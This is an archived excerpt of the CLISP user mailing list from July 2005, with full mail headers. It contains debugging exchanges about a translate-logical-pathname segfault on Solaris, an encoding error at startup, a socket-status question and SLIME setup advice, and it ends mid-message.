clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 06:32:04 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxPXN-0008Da-Pm for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 06:32:04 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6QDVpcw020798; Tue, 26 Jul 2005 09:31:52 -0400 (EDT) To: "Nelson H. F. Beebe" Cc: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Nelson H. F. Beebe's message of "Tue, 26 Jul 2005 06:19:30 -0600 (MDT)") References: Mail-Followup-To: "Nelson H. F. Beebe" , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp-2.34 build comments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 06:33:02 2005 X-Original-Date: Tue, 26 Jul 2005 09:31:11 -0400 > * Nelson H. F. Beebe [2005-07-26 06:19:30 -0600]: > > Sam Steingold responds on Mon, 25 Jul 2005 17:29:57 > -0400 to my problem report: > >>> ... >>> > On Sun Solaris 10 SPARC with gcc 3.3.6, the "make check" fails like >>> > this: >>> > >>> > ;; Loaded file >>> > /local/build/gcc/clisp-2.34/src/tests/compile-file-pathname.fas EQL-OK: T >>> > (COMPILE-FILE-PATHNAME "foo" :OUTPUT-FILE (LOGICAL-PATHNAME >>> "SYS:foo.fas")) >>> > EQUAL-OK: #S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE :UNSPECIFIC >>> :DIRECTORY >>> > (:ABSOLUTE) :NAME "FOO" :TYPE "FAS" :VERSION :NEWEST) >>> > (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP")) >>> > Bus Error >>> >>> I do not have access to such a system. >>> could you please build clisp with debug symbols: >>> $ ./configure --build build-g >>> $ cd build-g >>> $ gdb lisp.run >>> (gdb) boot >>> (gdb) run >>> [1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP")) >>> >>> and send here the stack trace? >>> thanks! >>> >>> (I suggest using the CVS head) >>> ... > > I grabbed the CVS tarball from clisp.sourceforge.net, but found that > it is incomplete: no configure file, empty src directory, ... > How does one pull a workable clisp distribution out of CVS? use "Anonymous CVS Access" > [1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP")) > > Program received signal SIGSEGV, Segmentation fault. > 0x00063c74 in translate_directory (subst=0x1dc094, pattern=0x666afc8b, > logical=false) at pathname.d:4717 > 4717 if (eq(Car(pattern),S(Kabsolute)) && mconsp(*subst) > (gdb) where > #0 0x00063c74 in translate_directory (subst=0x1dc094, pattern=0x666afc8b, > logical=false) at pathname.d:4717 > #1 0x0006456c in translate_pathname (subst=0x1dc094, pattern=0x19d2b8d9) > at pathname.d:4800 > #2 0x00065bc8 in C_translate_pathname () at pathname.d:4923 Great! thanks! now, could you please type xout *subst xout pattern zout *subst zout pattern at the (gdb) prompt? also, type (logical-pathname-translations "SYS") at the CLISP prompt. thanks a lot! -- Sam Steingold (http://www.podval.org/~sds) running w2k MS Windows vs IBM OS/2: Why marketing matters more than technology... From beebe@math.utah.edu Tue Jul 26 06:41:46 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxPgo-0002mF-JB for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 06:41:46 -0700 Received: from sunshine2.math.utah.edu ([155.101.96.3] ident=[SfvNpQ1flrZmK1/+/zd4eEpA6yXItpRO]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DxPgm-0008F5-8W for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 06:41:46 -0700 Received: from psi.math.utah.edu (IDENT:ehngbpYHNSuVRvXg54ithFVC2t6tUpx/@psi.math.utah.edu [155.101.96.19]) by sunshine2.math.utah.edu (8.13.4/8.13.4) with ESMTP id j6QCmXGn000881; Tue, 26 Jul 2005 06:48:33 -0600 (MDT) Received: from psi.math.utah.edu (IDENT:6s0gzRvk49kSRqxLQ3JOR0WhzPZukEMj@localhost [127.0.0.1]) by psi.math.utah.edu (8.13.4/8.13.4) with ESMTP id j6QCmX6T018265; Tue, 26 Jul 2005 06:48:33 -0600 (MDT) Received: (from beebe@localhost) by psi.math.utah.edu (8.13.4/8.13.4/Submit) id j6QCmXEj018263; Tue, 26 Jul 2005 06:48:33 -0600 (MDT) From: "Nelson H. F. Beebe" To: clisp-list@lists.sourceforge.net, Sam Steingold , Bruno Haible Cc: beebe@math.utah.edu X-US-Mail: "Department of Mathematics, 110 LCB, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe In-Reply-To: Your message of Mon, 25 Jul 2005 17:29:57 -0400 Message-ID: X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0 (sunshine2.math.utah.edu [155.101.96.3]); Tue, 26 Jul 2005 06:48:34 -0600 (MDT) X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp-2.34 build comments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 06:42:03 2005 X-Original-Date: Tue, 26 Jul 2005 06:48:33 -0600 (MDT) Sam Steingold responds to my problem report for clisp-2.34 on GNU/Linux (Red Hat Enterprise Server 4) on AMD64: >> ... >> > I then tried to start clisp manually, but it immediately fails: >> > >> > % clisp >> ... >> > > *** - invalid byte #x81 in CHARSET:ASCII conversion >> > The following restarts are available: >> > ABORT :R1 ABORT >> > Break 1 [2]> >> >> . >> you probably have non-ASCII symbols in pathnames. >> try "clisp -E foo" >> where foo is the encoding you use for pathnames. >> ... I did a "strace -o foo -f clisp", and then looked at the system-call trace. None of the file that are opened have any non-ASCII symbols in their pathnames (such files would be rare to nonexistant anyway at my site). From the trace, it looks like /etc/inputrc was being processed at the point of error: 32444 stat("/etc/inputrc", {st_mode=S_IFREG|0644, st_size=758, ...}) = 0 32444 open("/etc/inputrc", O_RDONLY) = 5 32444 read(5, "# do not bell on tab-completion\n"..., 758) = 758 32444 close(5) = 0 It read the entire file with one read() call. There are no non-ASCII characters inside that file. I then tried alternate encodings: % clisp -E UTF-8 *** - invalid byte sequence #xC6 #x72 in CHARSET:UTF-8 conversion The following restarts are available: ABORT :R1 ABORT Break 1 [2]> % clisp -E ISO-8859-1 [1]> % clisp -E ISO8859-2 *** - invalid byte sequence #xC6 #x72 in CHARSET:UTF-8 conversion The following restarts are available: ABORT :R1 ABORT Break 1 [2]> Thus, a temporary workaround to the startup problem is to use -E ISO-8859-1. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - University of Utah FAX: +1 801 581 4148 - - Department of Mathematics, 110 LCB Internet e-mail: beebe@math.utah.edu - - 155 S 1400 E RM 233 beebe@acm.org beebe@computer.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- From beebe@math.utah.edu Tue Jul 26 06:41:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxPgu-0002mU-Di for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 06:41:52 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DxPgs-0008IU-UT for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 06:41:52 -0700 Received: from sunshine2.math.utah.edu ([155.101.96.3] ident=[sdxM2x3jUuG9VkQyznNUGHCG5UHRX178]) by externalmx-1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DxPgq-0004h2-P4 for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 06:41:49 -0700 Received: from psi.math.utah.edu (IDENT:jnNM6w5mMOD0UdNBG5drgjlszZBq2gjt@psi.math.utah.edu [155.101.96.19]) by sunshine2.math.utah.edu (8.13.4/8.13.4) with ESMTP id j6QCJUYi000275; Tue, 26 Jul 2005 06:19:30 -0600 (MDT) Received: from psi.math.utah.edu (IDENT:5OYX6mQWkFPNEYYyaYtABNilEDjb6veU@localhost [127.0.0.1]) by psi.math.utah.edu (8.13.4/8.13.4) with ESMTP id j6QCJUWE018165; Tue, 26 Jul 2005 06:19:30 -0600 (MDT) Received: (from beebe@localhost) by psi.math.utah.edu (8.13.4/8.13.4/Submit) id j6QCJUox018163; Tue, 26 Jul 2005 06:19:30 -0600 (MDT) From: "Nelson H. F. Beebe" To: clisp-list@lists.sourceforge.net Cc: beebe@math.utah.edu, Sam Steingold , "Nelson H. F. Beebe" , Bruno Haible X-US-Mail: "Department of Mathematics, 110 LCB, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe In-Reply-To: Your message of Mon, 25 Jul 2005 17:29:57 -0400 Message-ID: X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0 (sunshine2.math.utah.edu [155.101.96.3]); Tue, 26 Jul 2005 06:19:31 -0600 (MDT) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp-2.34 build comments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 06:42:04 2005 X-Original-Date: Tue, 26 Jul 2005 06:19:30 -0600 (MDT) Sam Steingold responds on Mon, 25 Jul 2005 17:29:57 -0400 to my problem report: >> ... >> > On Sun Solaris 10 SPARC with gcc 3.3.6, the "make check" fails like >> > this: >> > >> > ;; Loaded file >> > /local/build/gcc/clisp-2.34/src/tests/compile-file-pathname.fas EQL-OK: T >> > (COMPILE-FILE-PATHNAME "foo" :OUTPUT-FILE (LOGICAL-PATHNAME >> "SYS:foo.fas")) >> > EQUAL-OK: #S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE :UNSPECIFIC >> :DIRECTORY >> > (:ABSOLUTE) :NAME "FOO" :TYPE "FAS" :VERSION :NEWEST) >> > (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP")) >> > Bus Error >> >> I do not have access to such a system. >> could you please build clisp with debug symbols: >> $ ./configure --build build-g >> $ cd build-g >> $ gdb lisp.run >> (gdb) boot >> (gdb) run >> [1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP")) >> >> and send here the stack trace? >> thanks! >> >> (I suggest using the CVS head) >> ... I grabbed the CVS tarball from clisp.sourceforge.net, but found that it is incomplete: no configure file, empty src directory, ... How does one pull a workable clisp distribution out of CVS? In the meantime, I did your recommended experiment with the clisp-2.34 distribution: % gdb lisp.run GNU gdb 6.3 ... Breakpoint 1 at 0x3d49c Breakpoint 2 at 0x3b4cc Breakpoint 3 at 0x38a44 Breakpoint 4 at 0x3e8b0 Breakpoint 5 at 0x29d68 Watchpoint 6: {} 1851516 Breakpoint 7 at 0x2c398 Breakpoint 8 at 0x24978 Breakpoint 9 at 0x249e8 Breakpoint 10 at 0xcc98c Breakpoint 11 at 0xcc938 Num Type Disp Enb Address What 1 breakpoint keep n 0x0003d49c xout fun 2 breakpoint keep n 0x0003b4cc xout fun 3 breakpoint keep n 0x00038a44 xout form 4 breakpoint keep n 0x0003e8b0 xout closure 5 breakpoint keep n 0x00029d68 6 watchpoint keep n {} 1851516 zbacktrace continue 7 breakpoint keep y 0x0002c398 8 breakpoint keep y 0x00024978 9 breakpoint keep y 0x000249e8 10 breakpoint keep y 0x000cc98c 11 breakpoint keep y 0x000cc938 Function "sigsegv_handler_failed" not defined. .gdbinit:159: Error in sourced command file: No symbol "byteptr" in current context. (gdb) boot (gdb) run Starting program: /local/build/gcc/clisp-2.34/build-g/lisp.run -B . -N locale -M lispinit.mem -q -norc [1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP")) Program received signal SIGSEGV, Segmentation fault. 0x00058e54 in translate_directory () (gdb) where #0 0x00058e54 in translate_directory () #1 0x000590c8 in translate_pathname () #2 0x000595b8 in C_translate_pathname () #3 0x0003d76c in funcall_subr () #4 0x00054a20 in C_translate_logical_pathname () #5 0x000397cc in eval_subr () #6 0x0003907c in eval1 () #7 0x00038bc4 in eval () #8 0x000c958c in C_read_eval_print () #9 0x0003d76c in funcall_subr () #10 0x0004420c in interpret_bytecode_ () #11 0x0003df3c in funcall_closure () #12 0x0004b628 in C_driver () #13 0x00044174 in interpret_bytecode_ () #14 0x0003df3c in funcall_closure () #15 0x00043df0 in interpret_bytecode_ () #16 0x0003df3c in funcall_closure () #17 0x000c9804 in driver () #18 0x000305b0 in main () A look at the build log file showed that compilation was with -O2, and no -g. Thus, no arguments are displayed. I deleted pathname.o, and then manually recompiled with -O2 replaced by -g, then did "make" again. Another gdb session produced this: % gdb lisp.run (gdb) boot (gdb) run Starting program: /local/build/gcc/clisp-2.34/build-g/lisp.run -B . -N locale -M lispinit.mem -q -norc [1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP")) Program received signal SIGSEGV, Segmentation fault. 0x00063c74 in translate_directory (subst=0x1dc094, pattern=0x666afc8b, logical=false) at pathname.d:4717 4717 if (eq(Car(pattern),S(Kabsolute)) && mconsp(*subst) (gdb) where #0 0x00063c74 in translate_directory (subst=0x1dc094, pattern=0x666afc8b, logical=false) at pathname.d:4717 #1 0x0006456c in translate_pathname (subst=0x1dc094, pattern=0x19d2b8d9) at pathname.d:4800 #2 0x00065bc8 in C_translate_pathname () at pathname.d:4923 ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - University of Utah FAX: +1 801 581 4148 - - Department of Mathematics, 110 LCB Internet e-mail: beebe@math.utah.edu - - 155 S 1400 E RM 233 beebe@acm.org beebe@computer.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- From ashwin.shirvanthe@gmail.com Tue Jul 26 07:05:46 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxQ41-0004GC-UQ for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 07:05:45 -0700 Received: from wproxy.gmail.com ([64.233.184.195]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxQ40-00074m-Hl for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 07:05:45 -0700 Received: by wproxy.gmail.com with SMTP id i3so1140762wra for ; Tue, 26 Jul 2005 07:05:37 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=E5o6WH9V+HQsBK/LPCLSlsOKRToJtLliIU4rat1hkUTmvOQBu65Rfbcozz+Da2nBTjvUeVWaUwHmoFDS6EhcdP+DUmZZlqTrMRBBRHQqP9neW8johmftPcaquVQEMgqHYzPVDM+5P7u8nyBgaO3XUL4/yHEVGvUqNwEDpyFSvXo= Received: by 10.54.46.47 with SMTP id t47mr134691wrt; Tue, 26 Jul 2005 07:05:37 -0700 (PDT) Received: by 10.54.95.7 with HTTP; Tue, 26 Jul 2005 07:05:12 -0700 (PDT) Message-ID: From: Ashwin Rao Reply-To: Ashwin Rao To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] socket programming related query Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 07:06:18 2005 X-Original-Date: Tue, 26 Jul 2005 19:35:12 +0530 I have 2 open sockets in my list of sockets given to the socket-status func= tion. One of them is the socket-server type (which accepts new connections) and other of socket-stream type. When data is sent from the client connected to the server the operation related to the socket-stream socket comes as OUTPUT, Why is this so , also what does INPUT and OUTPUT signify? On doing a read-line (the client sends formatted data terminated by ~%") the data is obtained. But why am I getting the operation as OUTPUT? Also as read-line is a blocking call new connections are delayed (most of the times they are not created) as after reading the control comes to the read-line and waits there till data is sent from another side. function for reading the data on the socket is as follows (defun handle-raw-data-on (sock-fd operation) (format t "operation ~a" operation) (if (eql operation :output) (progn =09(setf raw-data (read-line sock-fd nil)) =09(format t "Raw data ~a on ~a ~%" raw-data sock-fd)))) Please tell me where am I going wrong. -- Ashwin From sds@gnu.org Tue Jul 26 07:24:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxQLi-0005F1-5n for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 07:24:02 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxQLg-00047K-Lt for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 07:24:02 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6QENlY9028001; Tue, 26 Jul 2005 10:23:47 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Michael Campbell Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <811f2f1c05072520537452e716@mail.gmail.com> (Michael Campbell's message of "Mon, 25 Jul 2005 23:53:31 -0400") References: <004801c59183$85d577b0$6700a8c0@user03> <811f2f1c05072520537452e716@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Michael Campbell Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Dose slime really support clisp ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 07:25:03 2005 X-Original-Date: Tue, 26 Jul 2005 10:23:07 -0400 > * Michael Campbell [2005-07-25 23:53:31 -0400]: > > > (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe -B > D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem") please install 2.34 and use the clisp.exe driver: (setq inferior-lisp-program "d:/clisp-2.34/clisp.exe") -- Sam Steingold (http://www.podval.org/~sds) running w2k If you think big enough, you'll never have to do it. From michael.campbell@gmail.com Tue Jul 26 07:41:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxQci-00068H-Pm for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 07:41:36 -0700 Received: from zproxy.gmail.com ([64.233.162.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxQch-0003kz-IS for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 07:41:36 -0700 Received: by zproxy.gmail.com with SMTP id s18so689064nze for ; Tue, 26 Jul 2005 07:41:20 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=D1rSLHvLD3n+mG61+YYwMmh4pNpx/6uZFBrIIOKNUy+xMLBWGl8u7wPXKeJ4vzeP3a4XjSDEvVE9I8OPzoCrCFNVMoNylYHTbq5xJmbEdPOBlaNINXYB7fwu0Tp9HjCSfv9eFd4s1rv4N4faLn4DXhENh//4722AjMHMd4A4Jak= Received: by 10.36.13.13 with SMTP id 13mr340526nzm; Tue, 26 Jul 2005 07:41:20 -0700 (PDT) Received: by 10.36.56.9 with HTTP; Tue, 26 Jul 2005 07:41:20 -0700 (PDT) Message-ID: <811f2f1c0507260741345c3ede@mail.gmail.com> From: Michael Campbell Reply-To: Michael Campbell To: clisp-list@lists.sourceforge.net In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <004801c59183$85d577b0$6700a8c0@user03> <811f2f1c05072520537452e716@mail.gmail.com> X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Dose slime really support clisp ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 07:42:03 2005 X-Original-Date: Tue, 26 Jul 2005 10:41:20 -0400 On 7/26/05, Sam Steingold wrote: > > * Michael Campbell [2005-07-25 23:53:31 -0= 400]: > > > > > > (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe -B > > D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem") >=20 > please install 2.34 and use the clisp.exe driver: >=20 > (setq inferior-lisp-program "d:/clisp-2.34/clisp.exe") Ok. Is there some compelling reason, or is it just to get the latest? This is my first "real" exploration into lisp having done the last 20 years or so in the Algol-based language lineage, so it's not like I need cutting edge features or anything yet. I'm still trying to get my head wrapped around the language, idioms, culture, etc. From michael.campbell@gmail.com Tue Jul 26 07:57:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxQs8-0006qL-0Y for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 07:57:32 -0700 Received: from zproxy.gmail.com ([64.233.162.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxQs7-0008WI-0b for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 07:57:32 -0700 Received: by zproxy.gmail.com with SMTP id s18so691936nze for ; Tue, 26 Jul 2005 07:57:25 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=sxRhUI2RmWJl0q7tT6oqPGwmdvRz8qhqteMek1YgjW1YCvqkmNjn/7IjSzCibnxNVmwpQsPN39E6OLQI2yh0WxxcSxrlHEI6QfVVfAT1OIUjVnZzCLIgS5EbQ8gmaHLYcpLwec+cfiItq7BPNjWRVwL9o/uiNqeSkXDDbQhsoEA= Received: by 10.36.56.6 with SMTP id e6mr470480nza; Tue, 26 Jul 2005 07:57:24 -0700 (PDT) Received: by 10.36.56.9 with HTTP; Tue, 26 Jul 2005 07:57:24 -0700 (PDT) Message-ID: <811f2f1c0507260757704fef7c@mail.gmail.com> From: Michael Campbell Reply-To: Michael Campbell To: clisp-list@lists.sourceforge.net In-Reply-To: <811f2f1c0507260741345c3ede@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <004801c59183$85d577b0$6700a8c0@user03> <811f2f1c05072520537452e716@mail.gmail.com> <811f2f1c0507260741345c3ede@mail.gmail.com> X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.2 UPPERCASE_25_50 message body is 25-50% uppercase 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Dose slime really support clisp ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 07:58:08 2005 X-Original-Date: Tue, 26 Jul 2005 10:57:24 -0400 On 7/26/05, Michael 